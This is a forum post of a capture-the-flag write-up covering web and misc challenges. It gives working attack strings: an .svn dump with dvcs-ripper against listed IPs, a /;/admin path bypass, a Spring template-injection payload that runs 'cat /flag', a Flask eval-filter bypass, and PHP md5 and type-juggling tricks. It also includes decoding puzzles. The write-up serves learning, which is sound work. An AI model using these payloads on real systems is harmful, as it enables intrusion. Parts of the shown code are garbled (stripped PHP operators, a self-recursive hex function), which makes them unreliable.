Jump to content

Featured Replies

Posted

WEB

input_data

Use the tool https://github.com/kost/dvcs-ripper

./rip-svn.pl -u http://101.200.58.4:10005/.svn

Download the .svn directory

Then check the structure and find several files

1049983-20241004174649885-874008864.jpg

cd enter the directory, and then cat file name to see flag{5674938f-803d-4c41-8f84-a77f5164bb4f}

1049983-20241004174650809-663276795.png

Flag: flag{5674938f-803d-4c41-8f84-a77f5164bb4f}

admin

First access to admin through overriding permission, the access path is as follows

/;/admin

1049983-20241004174651495-30944686.jpg

Then the bp dictionary enumeration is used to pass parameters, path is used to test STI. After testing, it is found that it is necessary to use Java view operation STI.

Payload as follows

http://101.200.58.4:3333/;/admin?path=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat%20/flag%22).getInputStream()).next()%7d__:x

Successful command execution :

1049983-20241004174652133-174386126.jpg

Flag: flag{5d28c6ce-fede-498a-9053-6fe53f54f7d3}

flask

The source code of the question is as follows

from flask import Flask, request, Response

import re

app=Flask(__name__)

@app.route('/')

def index():

evalme=request.args.get('evalme')

if ((not evalme) or re.search(r'[A-Zd-z\\. /*$#@!+^]', evalme)):

return 'hacker?'

a=eval(evalme)

print(1)

with open(a, 'rb') as f:

return Response(f.read())

if __name__=='__main__':

app.run(port=8081,debug=True)

Since letters are disabled, abc can also construct formatted strings, but in fact, it can also be bypassed with unicode characters, even if there is no abc

The command is as follows: Format string construct file name/flag through dictionary

/?evalme=[a:=%22%c%c%c%c%c%c%c%c%22%(47,102,108,97,103)][-1]

1049983-20241004174652875-1561261817.jpg

So many FLAGs

The next layer file F1aaj.php is found in the source code

Find the file in the next layer of the title in the cookie/FLLL4g.php

1049983-20241004174653545-1530320814.jpgFLLL4g.php access source code is as follows

?php

if (isset($_GET['X'])) {

$temp=$_GET['X'];

is_numeric($temp) ? die('no numeric') : NULL;

if ($temp 9999) {

echo 'Pupil./br';

} else {

die('NO!NO!NO!');

}

}

else {

die('Where is X?');

}

if (isset($_GET['Y'])) {

$md5=$_GET['Y'];

if ($md5==md5($md5)) {

echo 'Junior school student./br';

} else {

die('NO!NO!NO!');

}

}

else {

die('Where is Y?');

}

if (isset($_GET['Z'])) {

$content=$_GET['Z'];

if (strlen($content)=60) {

die('No long!');

}

$blacklist=[' ', '\'', ''', '`', '\[', '\]', '\{', '}', '\t', '\r', '\n'];

foreach ($blacklist as $blackitem) {

if (preg_match('/' . $blackitem . '/m', $content)) {

die('NO!NO!NO!');

}

}

$security=['abs', 'base_convert', 'cos', 'dechex', 'exp', 'f1ag', 'getrandmax', 'hexdec', 'is_nan', 'log', 'max', 'octdec', 'pi', 'sin', 'tan'];

preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);

foreach ($used_funcs[0] as $func) {

if (!in_array($func, $security)) {

die('NO!NO!NO!');

}

}

eval('echo '.$content.';');

if(isset($f1ag)){

if($f1ag=='flag'){

echo 'Senior high school student./br';

echo 'Here_is_flag!';

}

}

else{

echo 'NO!NO!NO!';

}

}

else {

die('Where is Z?');

}

?

The first method

The first step is to bypass is_numeric and use an array

Step 2: md5 bypasses the Internet and searches a lot

X[]=10000Y=0e215962017Z=log($f1ag=0)

The third step can be bypassed with 0, and the log function can be X[]=10000Y=0e215962017Z=log($f1ag=0)

1049983-20241004174654218-291559251.jpg

Or use the cos function X[]=10000Y=0e215962017Z=cos($f1ag=0)

1049983-20241004174700986-1030522670.jpg

Misc:

Notice of Information Security Competition

After opening, change the color and you can see the flag

1049983-20241004174701674-30547865.jpg

Multiple encoding

Attachment:

Encoding 1:++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-]++++++.----.----.----.----.+.++++++++.-----.+.+.+.----.

Encoding 2: ([](![]+[])[!+[]+!+[]]+([][]]+[])[+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+([![]]+[])[+!+[]]+([![]]+[]])[+!+[]+[]]+ +(![]+[])[!+[]+!+[]+!+[]]+]+]+[!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+ (![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+([](![]+[])[!+[]+!+[]+!+[]]+([](![]+[])[!+[]+!+[]]+([][][]]+[])[+!+[]]+(![]+[])[+!+[]]+([![]]]]+(![]+[])[+!+[]]+([![]]]]+(![]+[])[+!+[]]+([![]]]] +[][[]])[+!+[]+[]+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]+[]+]+[]+]+[]+]+[]+]+[]+!+[]+]+[]+!+[]+!+[]]+

Code 3: Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.

Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.

Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook!

Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!

Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!

Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!

Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.

Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.

Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.

Ook. Ook. Ook. Ook. Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook.

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!

Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook?

Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!

Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!

Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook.

Ook! Ook. Ook! Ook. Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook! Ook! Ook! Ook! Ook!

Ook! Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.

Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.

Ook. Ook. Ook! Ook. Ook? Ook.

The first paragraph JSFUCK decryption: flag{ab71cda1

1049983-20241004174702278-1588943883.png

All two segments console decoding: b495e13b3f21

1049983-20241004174702915-638662998.png

The third paragraph Ook decryption: f6fd50221978}

1049983-20241004174703724-567341788.jpg

flag{ab71cda1b495e13b3f21f6fd50221978}

bluetooth

Global search flag to find zip and have ke key

1049983-20241004174704552-93359001.jpg found obvious compression packages and flag.txt documentation

1049983-20241004174705291-1547728920.jpg There is also a key key

1049983-20241004174705931-1082659547.jpg Export the compressed package

1049983-20241004174706446-1289494769.jpg

Export the compressed package

Someone here doesn't know how to export these two files. Let me briefly talk about it

The first type

Change the traffic package file to a compressed package format such as zip to decompress and separate and extract

The second type

Directly separate the traffic package file with relevant commands

The third type

Open the traffic package and find the original data with keywords. Copy and import the hexadecimal file. You need to modify the beginning and end of the text to get the compressed package.

Notice

Many people here get the compressed package and find that the file is damaged and cannot be opened. Here you can change the decompression software.

Get the ciphertext and key :

flag.txt:

100045832759260700443260839102517082333207977793557792087030978163051881401914132269450797

Key: 5216294695211820293806247029887026154798297270637676463374801674229881314620340407569315152

This is the ciphertext and key

Decimal to hexadecimal script

def hex(number):

hex_str=hex(number)[2:]

if len(hex_str)==1:

hex_str='0' + hex_str

return hex_str

if __name__=='__main__':

number=int(input('input: '))

hex_representation=hex(number)

print(f'{number}' hexadecimal representation is : {hex_representation}')

Secret text

4e94dcdb6de87e65d263419ec45aec93e8a2e1d386b31fb804e0f02366df44dbe86a8a7c462d

Key

28f8bdbc16de4850e05579acf33c8aa08ac3d9e6e3822b8c3081c04700eb25b88a08eb457550

Perform XOR

# Define the encrypted ciphertext and hexadecimal string

txt='4e94dcdb6de87e65d263419ec45aec93e8a2e1d386b31fb804e0f02366df44dbe86a8a7c462d'

key='28f8bdbc16de4850e05579acf33c8aa08ac3d9e6e3822b8c3081c04700eb25b88a08eb457550'

# Convert hexadecimal string to byte object

ciphertext_bytes=bytes.fromhex(txt)

key_bytes=bytes.fromhex(key)

# Use byte-byte XOR for decryption

# Note: Here it is assumed that the key and ciphertext are the same length, otherwise the zip will be truncated to a shorter length

decrypted_bytes=bytes([c ^ k for c, k in zip(ciphertext_bytes, key_bytes)])

# Try to decode the decrypted byte object into a string, ignoring the bytes that cannot be decoded

# Here it is assumed that most of the decrypted bytes can be decoded into valid UTF-8 characters

print(decrypted_bytes.decode(errors='ig

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.